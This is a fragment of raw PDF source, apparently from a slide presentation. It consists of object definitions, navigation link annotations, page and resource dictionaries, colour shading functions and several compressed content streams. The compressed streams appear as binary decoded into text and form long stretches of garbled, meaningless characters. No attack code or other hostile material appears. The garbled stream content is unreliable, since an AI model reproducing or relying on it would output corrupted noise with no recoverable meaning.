>> >> endobj 484 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [-0.996 253.713 182.414 261.097] /Subtype /Link /A << /S /GoTo /D (Navigation11) >> >> endobj 485 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [-0.996 248.323 182.414 255.706] /Subtype /Link /A << /S /GoTo /D (Navigation21) >> >> endobj 457 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [39.514 166.639 167.034 178.642] /Subtype /Link /A << /S /GoTo /D (Navigation5) >> >> endobj 458 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [39.514 140.297 151.749 151.742] /Subtype /Link /A << /S /GoTo /D (Navigation7) >> >> endobj 459 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [39.514 115.331 101.969 124.843] /Subtype /Link /A << /S /GoTo /D (Navigation11) >> >> endobj 460 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [39.514 86.499 253.638 97.944] /Subtype /Link /A << /S /GoTo /D (Navigation21) >> >> endobj 486 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [182.753 -0.996 291.642 5.96] /Subtype /Link /A << /S /GoTo /D (Navigation1) >> >> endobj 17 0 obj << /D [488 0 R /XYZ 28.346 246.281 null] >> endobj 115 0 obj << /D [488 0 R /XYZ 334.488 1.245 null] >> endobj 490 0 obj << /D [488 0 R /XYZ 334.488 1.245 null] >> endobj 487 0 obj << /ColorSpace 3 0 R /Pattern 2 0 R /ExtGState 1 0 R /Font << /F26 84 0 R /F38 85 0 R /F39 87 0 R /F15 155 0 R /F53 154 0 R >> /XObject << /Fm1 46 0 R /Fm7 124 0 R /Fm15 244 0 R /Im7 118 0 R >> /ProcSet [ /PDF /Text ] >> endobj 524 0 obj << /Length 2675 /Filter /FlateDecode >> stream x[S#X"oI8*˃NL C9J +JntOOOwOf׼jxsǗw@፲ye$6isvWp 4\5 h^tFc\\**& l9%2)Lp@A)nj LKLf{\s85JT;pJ1L64]04MK"<6㢁ASIMYdYXȮ(قPңqnBpMI8QJj*2sgUzz">_5y/qr$JAMrݕnVY1ȩ `6#Ynl;E&&a& {|H s.܂,i/Fãt}oé򸈔"~77o㣈r} Ad+c@24A(U4D*<| \ Ox%W87*)|K՘ֶ_q`6?JMɮN+ [p~v.$W8i2G{=o1?!=zHMnN.~z_LqGW.C].~zxQ~;m[g+7UR̷)'|;3rIh&]5tAR%f0U*TuGaQROf\'cS÷e6oj(*v(X|<%ޘRڐ6%JLҤT!b6ßuJF*^\5 vtAA 5XٸPߢm^[5}*P*)lZ8V& l#LP>T׊^4{ J6"t4@'T *ʩT]M*BM #<,:eY\HpSj4v$%ioREy\As1GS1%YC mmZщ7.tNf絎 .|b{^mՋ5).IeDiPCnrU7UAA#B(F9h&~lܶvڐkAT$Z[. Upp9=fg0.:܆{jS9%ٶβ`mlh~]I pgk%O5b]] НrVT*3: $.zgC yX'^y D98`_ zob/@5ͅL#*˼;",<&,Xp>W2g = +/ E@?d wD1CSN696bt:(#X[@x*]DVUS(9wjrFodHE6w8K'Eƫb`J'!i1n5'mjOIuBk!mvM!ƛ`SS}? Sf$R%:&tOYCj[ C`)< }u&,$gI"ia#cvƷyJ> q ^rY_+s/O [7!T|YC(TR_%u:XD wBCN(r`M E L/^69<*&?闄M7bSM;k9J˴ F ښckZht3%a{>(^wp79fe%1'oc6BTNw;C,wY|8-& a}|9nHu⑑ƜאaSj!a7LHvN+7;V҆is%=.auE4a_: Oؗ(K6Fv7 &S jX;.W(>L=\E`hbE›,ʐ|Y0NOa_>B~(G gwěZ"gTaNκØoʛ1`+(ˇt C8y^ٷK9{v&p9/6hEFR`=c[_oױt8Ij).%_GgygxHp}t6cJ:,9?o RY߽:U m5&)OS%<~*Tk)=$N9 8Q-kho endstream endobj 523 0 obj << /Type /Page /Contents 524 0 R /Resources 522 0 R /MediaBox [0 0 362.835 272.126] /Trans << /S /R >> /Parent 491 0 R /Annots [ 496 0 R 497 0 R 498 0 R 499 0 R 500 0 R 501 0 R 502 0 R 503 0 R 504 0 R 505 0 R 506 0 R 507 0 R 508 0 R 509 0 R 510 0 R 511 0 R 512 0 R 513 0 R 514 0 R 515 0 R 516 0 R 517 0 R 518 0 R 519 0 R 520 0 R 521 0 R ] >> endobj 494 0 obj << /Type /XObject /Subtype /Form /BBox [0 0 5669.291 3.985] /FormType 1 /Matrix [1 0 0 1 0 0] /Resources 527 0 R /Length 15 /Filter /FlateDecode >> stream xP( endstream endobj 527 0 obj << /Shading << /Sh << /ShadingType 2 /ColorSpace /DeviceRGB /Domain [0.0 3.9851] /Coords [0 0.0 0 3.9851] /Function << /FunctionType 3 /Domain [0.0 3.9851] /Functions [ << /FunctionType 2 /Domain [0.0 3.9851] /C0 [1 0.8125 0.8125] /C1 [1 0.8125 0.8125] /N 1 >> << /FunctionType 2 /Domain [0.0 3.9851] /C0 [1 0.8125 0.8125] /C1 [1 0.25 0.25] /N 1 >> ] /Bounds [ 1.99255] /Encode [0 1 0 1] >> /Extend [false false] >> >> /ProcSet [ /PDF ] >> endobj 495 0 obj << /Type /XObject /Subtype /Form /BBox [0 0 4.689 4.689] /FormType 1 /Matrix [1 0 0 1 0 0] /Resources 528 0 R /Length 15 /Filter /FlateDecode >> stream xP( endstream endobj 528 0 obj << /Shading << /Sh << /ShadingType 3 /ColorSpace /DeviceRGB /Domain [0.0 2.34438] /Coords [1.52634 3.34418 0.0 2.34438 2.34438 2.34438] /Function << /FunctionType 3 /Domain [0.0 2.34438] /Functions [ << /FunctionType 2 /Domain [0.0 2.34438] /C0 [1 0.85 0.85] /C1 [1 0.25 0.25] /N 1 >> << /FunctionType 2 /Domain [0.0 2.34438] /C0 [1 0.25 0.25] /C1 [0.7 0 0] /N 1 >> << /FunctionType 2 /Domain [0.0 2.34438] /C0 [0.7 0 0] /C1 [0.5 0 0] /N 1 >> << /FunctionType 2 /Domain [0.0 2.34438] /C0 [0.5 0 0] /C1 [1 0.8125 0.8125] /N 1 >> ] /Bounds [ 0.72711 1.45424 1.99962] /Encode [0 1 0 1 0 1 0 1] >> /Extend [true false] >> >> /ProcSet [ /PDF ] >> endobj 496 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[0 1 1] /Rect [336.542 15.425 360.996 40.094] /Subtype/Link/A<> >> endobj 497 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [232.399 5.96 240.369 15.425] /Subtype /Link /A << /S /GoTo /D (Navigation7) >> >> endobj 498 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[1 0 0] /Rect [238.376 5.96 248.339 15.425] /Subtype /Link /A<> >> endobj 499 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [246.346 5.96 254.316 15.425] /Subtype /Link /A << /S /GoTo /D (Navigation9) >> >> endobj 500 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [253.735 5.96 260.708 15.425] /Subtype /Link /A << /S /GoTo /D (Navigation7) >> >> endobj 501 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [258.716 5.96 265.69 15.425] /Subtype /Link /A << /S /GoTo /D (Navigation8) >> >> endobj 502 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [263.697 5.96 270.671 15.425] /Subtype /Link /A << /S /GoTo /D (Navigation8) >> >> endobj 503 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [268.679 5.96 275.652 15.425] /Subtype /Link /A << /S /GoTo /D (Navigation9) >> >> endobj 504 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [275.071 5.96 282.044 15.425] /Subtype /Link /A << /S /GoTo /D (Navigation6) >> >> endobj 505 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [280.052 5.96 287.026 15.425] /Subtype /Link /A << /S /GoTo /D (Navigation7) >> >> endobj 506 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [285.033 5.96 292.007 15.425] /Subtype /Link /A << /S /GoTo /D (Navigation10) >> >> endobj 507 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [290.014 5.96 296.988 15.425] /Subtype /Link /A << /S /GoTo /D (Navigation11) >> >> endobj 508 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [296.406 5.96 303.38 15.425] /Subtype /Link /A << /S /GoTo /D (Navigation6) >> >> endobj 509 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [301.388 5.96 308.362 15.425] /Subtype /Link /A << /S /GoTo /D (Navigation7) >> >> endobj 510 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [306.369 5.96 313.343 15.425] /Subtype /Link /A << /S /GoTo /D (Navigation10) >> >> endobj 511 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [311.35 5.96 318.324 15.425] /Subtype /Link /A << /S /GoTo /D (Navigation11) >> >> endobj 512 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [317.742 5.96 328.701 15.425] /Subtype /Link /A << /S /GoTo /D (Navigation1) >> >> endobj 513 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [326.709 5.96 339.66 15.425] /Subtype /Link /A << /S /GoTo /D (Navigation28) >> >> endobj 514 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[1 0 0] /Rect [339.078 5.96 348.045 15.425] /Subtype /Link /A<> >> endobj 515 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[1 0 0] /Rect [346.052 5.96 354.022 15.425] /Subtype /Link /A<> >> endobj 516 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[1 0 0] /Rect [352.03 5.96 360.996 15.425] /Subtype /Link /A<> >> endobj 517 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [-0.996 264.495 182.414 271.878] /Subtype /Link /A << /S /GoTo /D (Navigation5) >> >> endobj 518 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [-0.996 259.104 182.414 266.488] /Subtype /Link /A << /S /GoTo /D (Navigation7) >> >> endobj 519 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [-0.996 253.713 182.414 261.097] /Subtype /Link /A << /S /GoTo /D (Navigation11) >> >> endobj 520 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [-0.996 248.323 182.414 255.706] /Subtype /Link /A << /S /GoTo /D (Navigation21) >> >> endobj 521 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [182.753 -0.996 291.642 5.96] /Subtype /Link /A << /S /GoTo /D (Navigation1) >> >> endobj 492 0 obj << /D [523 0 R /XYZ 334.488 1.245 null] >> endobj 526 0 obj << /D [523 0 R /XYZ 334.488 1.245 null] >> endobj 522 0 obj << /ColorSpace 3 0 R /Pattern 2 0 R /ExtGState 1 0 R /Font << /F26 84 0 R /F38 85 0 R /F39 87 0 R /F15 155 0 R /F63 525 0 R >> /XObject << /Fm1 46 0 R /Fm7 124 0 R /Fm5 119 0 R /Fm3 53 0 R /Fm4 54 0 R /Fm2 52 0 R /Fm6 120 0 R /Fm16 494 0 R /Fm17 495 0 R /Im7 118 0 R >> /ProcSet [ /PDF /Text ] >> endobj 558 0 obj << /Length 2703 /Filter /FlateDecode >> stream x[KsW/&P]J\9D$|r%*A@Y`)S*[%-gz1n*V;bkOOJ8+aEÅmu}~{n]ǥT([-yKa\[`Bj Oas2j#'Hi-}Mlu:uc(a% l9Ex%lוki\ՎIzW8kco`gth#ck47Sh! 5Ū#0۔U3)"?G6(hLj# /S1Ht+g5o4lLlv9 )xr7Qd#rO.H`t|ehACY"${C%,c`4IGk xXo 5 &wX|ȓ:KڧA yH^,4&nF_kŝDvz$_*=7űA`ۥwS&!lQG'-Ye%˥6ӘI a^$dDF%T&6eSkRۖe K{P@?m=4n ~֓bEpHwTu)M1e<>V gpE2"׃!fPQy#(.q 5*!] E q` *yQUfv3n}f ,U9}gӘFm/~=g!P FE7s T3 p9 .Pc< =48>wEl#Y$~?) ~Ի߮M o~.=[LP?c4V)]LqihEk #^abBp bo)1Z`t%-IzJ4TcjmfvBS%ܘw#WòxEXx F!0j``Ǥ Fh} 0 jẌ́c(ݗM t:'Zkϒ6.n0~y~n=y~}6DLkvOV5:_uԫ uĈ22BKGLY)@*xar#\$t7a4 `\/LV,PQə1z4Vr6<ȡ% 8\3눈c蹸DʴEgJp \qg2d4xO|Ћ0qJI EV.LomBYJo b5ˤM{O ]T2Ɋ> ƩIi>\& ~ט?%WVE: x"4D3]\wٗq_}{ ]ʑ,Y?M@ۅܼɄP͚p|apg.c|ZuNۻ;n=2&i#vr,x/ݴr{x1Gp i\_+Ad wLƃYqQj[[3q㖷{y}E{;c8x9vqЂoyf/2 endstream endobj 557 0 obj << /Type /Page /Contents 558 0 R /Resources 556 0 R /MediaBox [0 0 362.835 272.126] /Trans << /S /R >> /Parent 491 0 R /Annots [ 530 0 R 531 0 R 532 0 R 533 0 R 534 0 R 535 0 R 536 0 R 537 0 R 538 0 R 539 0 R 540 0 R 541 0 R 542 0 R 543 0 R 544 0 R 545 0 R 546 0 R 547 0 R 548 0 R 549 0 R 550 0 R 551 0 R 552 0 R 553 0 R 554 0 R 555 0 R ] >> endobj 530 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[0 1 1] /Rect [336.542 15.425 360.996 40.094] /Subtype/Link/A<> >> endobj 531 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [232.399 5.96 240.369 15.425] /Subtype /Link /A << /S /GoTo /D (Navigation8) >> >> endobj 532 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[1 0 0] /Rect [238.376 5.96 248.339 15.425] /Subtype /Link /A<> >> endobj 533 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [246.346 5.96 254.316 15.425] /Subtype /Link /A << /S /GoTo /D (Navigation10) >> >> endobj 534 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [253.735 5.96 260.708 15.425] /Subtype /Link /A << /S /GoTo /D (Navigation8) >> >> endobj 535 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [258.716 5.96 265.69 15.425] /Subtype /Link /A << /S /GoTo /D (Navigation9) >> >> endobj 536 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [263.697 5.96 270.671 15.425] /Subtype /Link /A << /S /GoTo /D (Navigation9) >> >> endobj 537 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [268.679 5.96 275.652 15.425] /Subtype /Link /A << /S /GoTo /D (Navigation10) >> >> endobj 538 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [275.071 5.96 282.044 15.425] /Subtype /Link /A << /S /GoTo /D (Navigation6) >> >> endobj 539 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [280.052 5.96 287.026 15.425] /Subtype /Link /A << /S /GoTo /D (Navigation7) >> >> endobj 540 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [285.033 5.96 292.007 15.425] /Subtype /Link /A << /S /GoTo /D (Navigation10) >> >> endobj 541 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [290.014 5.96 296.988 15.425] /Subtype /Link /A << /S /GoTo /D (Navigation11) >> >> endobj 542 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [296.406 5.96 303.38 15.425] /Subtype /Link /A << /S /GoTo /D (Navigation6) >> >> endobj 543 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [301.388 5.96 308.362 15.425] /Subtype /Link /A << /S /GoTo /D (Navigation7) >> >> endobj 544 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [306.369 5.96 313.343 15.425] /Subtype /Link /A << /S /GoTo /D (Navigation10) >> >> endobj 545 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [311.35 5.96 318.324 15.425] /Subtype /Link /A << /S /GoTo /D (Navigation11) >> >> endobj 546 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [317.742 5.96 328.701 15.425] /Subtype /Link /A << /S /GoTo /D (Navigation1) >> >> endobj 547 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [326.709 5.96 339.66 15.425] /Subtype /Link /A << /S /GoTo /D (Navigation28) >> >> endobj 548 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[1 0 0] /Rect [339.078 5.96 348.045 15.425] /Subtype /Link /A<> >> endobj 549 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[1 0 0] /Rect [346.052 5.96 354.022 15.425] /Subtype /Link /A<> >> endobj 550 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[1 0 0] /Rect [352.03 5.96 360.996 15.425] /Subtype /Link /A<> >> endobj 551 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [-0.996 264.495 182.414 271.878] /Subtype /Link /A << /S /GoTo /D (Navigation5) >> >> endobj 552 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [-0.996 259.104 182.414 266.488] /Subtype /Link /A << /S /GoTo /D (Navigation7) >> >> endobj 553 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [-0.996 253.713 182.414 261.097] /Subtype /Link /A << /S /GoTo /D (Navigation11) >> >> endobj 554 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [-0.996 248.323 182.414 255.706] /Subtype /Link /A << /S /GoTo /D (Navigation21) >> >> endobj 555 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [182.753 -0.996 291.642 5.96] /Subtype /Link /A << /S /GoTo /D (Navigation1) >> >> endobj 529 0 obj << /D [557 0 R /XYZ 334.488 1.245 null] >> endobj 560 0 obj << /D [557 0 R /XYZ 334.488 1.245 null] >> endobj 556 0 obj << /ColorSpace 3 0 R /Pattern 2 0 R /ExtGState 1 0 R /Font << /F26 84 0 R /F38 85 0 R /F39 87 0 R /F15 155 0 R /F66 559 0 R >> /XObject << /Fm1 46 0 R /Fm7 124 0 R /Fm5 119 0 R /Fm3 53 0 R /Fm4 54 0 R /Fm2 52 0 R /Fm6 120 0 R /Fm16 494 0 R /Im7 118 0 R >> /ProcSet [ /PDF /Text ] >> endobj 591 0 obj << /Length 2926 /Filter /FlateDecode >> stream xkoFK#Bz_G~q)eqaIff\RFi YV\xqzWW;BjQYYˆ ],ѽs؂UK*VXnpβ39#V)MUKWp]))NC4E̡Ć;!#g8/tua+U4wNbT0$VB; ) Hu+LjN{чPcőc9gEH"Ȫ*F[:n 3ˆzI9Q&]JJ f]R1fa"+9r1#Cr,Dg KغGd8I y Ow 5 $ aa -%Wfo牜<炏-#5/VQM<@gl.^_<棓q ގKF lr hp݆?rOBK>)(k,EoL$2NrP % R-7f 5 Z~u..@mvkA. K0~J[yc%:)' M5 )'8!!ll\*#FW Xa T䬫PV/o.-2h9.҉{HyVتT%Fh=B.RʀS)b4Yq g!"o&5Nk\^OOW2Ԡu8=]V&H~TwJNʡe``6t8Ί=úR-XaPwxnpJCzS r-3%LLXXA ᲉmTOܽȕ KisA G22.3ίv HHCH:(ȔR W wEU"MiBA2`(E0n \JY^9u *w|':挥Q{x ^\-'r{r\!,T0y!̇0z;.y|4HNOczcFn'[)k[i#Cc~ "D6wWsiK$!{phe>scf*Adr1-$<SLUPQ@\t8(a< r8[aB VӒeLBʣ7BŦG&i*d{tI ~Ã`) +0CFӮIͱ]unޯ^vI\~ "Fw̐6mh;l`؁,e]2^K.D)G^m >y~׌&N9MKC Vtrp:$45b!ef1DD 5:4u}Ec9ƷHcKhW,^JއuU!sꠈ *)[Ge)E_HɌz $l;nR\r_$WT"(vԓJp@NSh8\=ZK2{smpϝ9tgA-pܘźji‹ۭ2krŌN=5uf mར껉+`Ӏ<ߎ{4)Jx5)2yqv+12$!s[\6G>v$t`"ZXp+uyxǕкĢCJ]2 kלbM tq!\;3k@9ļWbw z${/b}^/̾^K&TQS޷k{ ]PdX&VćΏhN`KD8} Oh묅>G;_PGn?R:.+` i?,Օ4:_'P1~f1Zm? Tȡ8x8{B;p4q endstream endobj 590 0 obj << /Type /Page /Contents 591 0 R /Resources 589 0 R /MediaBox [0 0 362.835 272.126] /Trans << /S /R >> /Parent 491 0 R /Annots [ 563 0 R 564 0 R 565 0 R 566 0 R 567 0 R 568 0 R 569 0 R 570 0 R 571 0 R 572 0 R 573 0 R 574 0 R 575 0 R 576 0 R 577 0 R 578 0 R 579 0 R 580 0 R 581 0 R 582 0 R 583 0 R 584 0 R 585 0 R 586 0 R 587 0 R 588 0 R ] >> endobj 561 0 obj << /Type /XObject /Subtype /Form /BBox [0 0 5669.291 3.985] /FormType 1 /Matrix [1 0 0 1 0 0] /Resources 594 0 R /Length 15 /Filter /FlateDecode >> stream xP( endstream endobj 594 0 obj << /Shading << /Sh << /ShadingType 2 /ColorSpace /DeviceRGB /Domain [0.0 3.9851] /Coords [0 0.0 0 3.9851] /Function << /FunctionType 3 /Domain [0.0 3.9851] /Functions [ << /FunctionType 2 /Domain [0.0 3.9851] /C0 [0.8125 0.90625 0.8125] /C1 [0.8125 0.90625 0.8125] /N 1 >> << /FunctionType 2 /Domain [0.0 3.9851] /C0 [0.8125 0.90625 0.8125] /C1 [0.25 0.625 0.25] /N 1 >> ] /Bounds [ 1.99255] /Encode [0 1 0 1] >> /Extend [false false] >> >> /ProcSet [ /PDF ] >> endobj 562 0 obj << /Type /XObject /Subtype /Form /BBox [0 0 4.689 4.689] /FormType 1 /Matrix [1 0 0 1 0 0] /Resources 595 0 R /Length 15 /Filter /FlateDecode >> stream xP( endstream endobj 595 0 obj << /Shading << /Sh << /ShadingType 3 /ColorSpace /DeviceRGB /Domain [0.0 2.34438] /Coords [1.52634 3.34418 0.0 2.34438 2.34438 2.34438] /Function << /FunctionType 3 /Domain [0.0 2.34438] /Functions [ << /FunctionType 2 /Domain [0.0 2.34438] /C0 [0.85 0.925 0.85] /C1 [0.25 0.625 0.25] /N 1 >> << /FunctionType 2 /Domain [0.0 2.34438] /C0 [0.25 0.625 0.25] /C1 [0 0.35 0] /N 1 >> << /FunctionType 2 /Domain [0.0 2.34438] /C0 [0 0.35 0] /C1 [0 0.25 0] /N 1 >> << /FunctionType 2 /Domain [0.0 2.34438] /C0 [0 0.25 0] /C1 [0.8125 0.90625 0.8125] /N 1 >> ] /Bounds [ 0.72711 1.45424 1.99962] /Encode [0 1 0 1 0 1 0 1] >> /Extend [true false] >> >> /ProcSet [ /PDF ] >> endobj 563 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[0 1 1] /Rect [336.542 15.425 360.996 40.094] /Subtype/Link/A<> >> endobj 564 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [232.399 5.96 240.369 15.425] /Subtype /Link /A << /S /GoTo /D (Navigation9) >> >> endobj 565 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[1 0 0] /Rect [238.376 5.96 248.339 15.425] /Subtype /Link /A<> >> endobj 566 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [246.346 5.96 254.316 15.425] /Subtype /Link /A << /S /GoTo /D (Navigation11) >> >> endobj 567 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [253.735 5.96 260.708 15.425] /Subtype /Link /A << /S /GoTo /D (Navigation9) >> >> endobj 568 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [258.716 5.96 265.69 15.425] /Subtype /Link /A << /S /GoTo /D (Navigation10) >> >> endobj 569 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [263.697 5.96 270.671 15.425] /Subtype /Link /A << /S /GoTo /D (Navigation10) >> >> endobj 570 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [268.679 5.96 275.652 15.425] /Subtype /Link /A << /S /GoTo /D (Navigation11) >> >> endobj 571 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [275.071 5.96 282.044 15.425] /Subtype /Link /A << /S /GoTo /D (Navigation6) >> >> endobj 572 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [280.052 5.96 287.026 15.425] /Subtype /Link /A << /S /GoTo /D (Navigation7) >> >> endobj 573 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [285.033 5.96 292.007 15.425] /Subtype /Link /A << /S /GoTo /D (Navigation10) >> >> endobj 574 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [290.014 5.96 296.988 15.425] /Subtype /Link /A << /S /GoTo /D (Navigation11) >> >> endobj 575 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [296.406 5.96 303.38 15.425] /Subtype /Link /A << /S /GoTo /D (Navigation6) >> >> endobj 576 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [301.388 5.96 308.362 15.425] /Subtype /Link /A << /S /GoTo /D (Navigation7) >> >> endobj 577 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [306.369 5.96 313.343 15.425] /Subtype /Link /A << /S /GoTo /D (Navigation10) >> >> endobj 578 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [311.35 5.96 318.324 15.425] /Subtype /Link /A << /S /GoTo /D (Navigation11) >> >> endobj 579 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [317.742 5.96 328.701 15.425] /Subtype /Link /A << /S /GoTo /D (Navigation1) >> >> endobj 580 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [326.709 5.96 339.66 15.425] /Subtype /Link /A << /S /GoTo /D (Navigation28) >> >> endobj 581 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[1 0 0] /Rect [339.078 5.96 348.045 15.425] /Subtype /Link /A<> >> endobj 582 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[1 0 0] /Rect [346.052 5.96 354.022 15.425] /Subtype /Link /A<> >> endobj 583 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[1 0 0] /Rect [352.03 5.96 360.996 15.425] /Subtype /Link /A<> >> endobj 584 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [-0.996 264.495 182.414 271.878] /Subtype /Link /A << /S /GoTo /D (Navigation5) >> >> endobj 585 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [-0.996 259.104 182.414 266.488] /Subtype /Link /A << /S /GoTo /D (Navigation7) >> >> endobj 586 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [-0.996 253.713 182.414 261.097] /Subtype /Link /A << /S /GoTo /D (Navigation11) >> >> endobj 587 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [-0.996 248.323 182.414 255.706] /Subtype /Link /A << /S /GoTo /D (Navigation21) >> >> endobj 588 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [182.753 -0.996 291.642 5.96] /Subtype /Link /A << /S /GoTo /D (Navigation1) >> >> endobj 493 0 obj << /D [590 0 R /XYZ 334.488 1.245 null] >> endobj 593 0 obj << /D [590 0 R /XYZ 334.488 1.245 null] >> endobj 589 0 obj << /ColorSpace 3 0 R /Pattern 2 0 R /ExtGState 1 0 R /Font << /F26 84 0 R /F38 85 0 R /F39 87 0 R /F15 155 0 R /F66 559 0 R /F14 592 0 R /F63 525 0 R >> /XObject << /Fm1 46 0 R /Fm7 124 0 R /Fm16 494 0 R /Fm3 53 0 R /Fm4 54 0 R /Fm2 52 0 R /Fm17 495 0 R /Fm18 561 0 R /Fm19 562 0 R /Im7 118 0 R >> /ProcSet [ /PDF /Text ] >> endobj 632 0 obj << /Length 1972 /Filter /FlateDecode >> stream xZKs#E W4pp솂&R''[GR?fMbK-[V$'$ĥP|ZFZb1oMz[! %#cm ؽM*pg(mNQ` +Ujp) Ն1A:xi5ynt-X*y:T6FD6w`,a+2):%>DRP pd&NGV4]Ҙ8RgSJQq]u)LAd &Akg6]4%b!ԝRI߀V@Htj*%>u%_ *wي;O?J2D,"G{'i]{ʉ ͔%j2iQm5CN=بh]0{[謒Ic%ئH}WLEcw '87~Qת+zI >t;.hނhiKfTi+uN$44XU8'T/U}AbVrԔg<(FM#';9Ay`ɶqEz6Izmȹ'{T܎r8Lcs{z9XǸeaߜkX">Ey#8_F?y;4EE\잾w]ڿ*&7!ϸ)WSp/ p;J_x?2w,&ۓ/X/l|sHs!g[ %&ܾEUQanV(gwB1⷇x  Z&$-f?9kh7ů6ѯʨ"tF؃\LxͼLh4焗`Ŝ빾E|T^@,XȘ6*P>ԅnD2N NL^Wcx2;r.WxxG84j4{[|5>+ 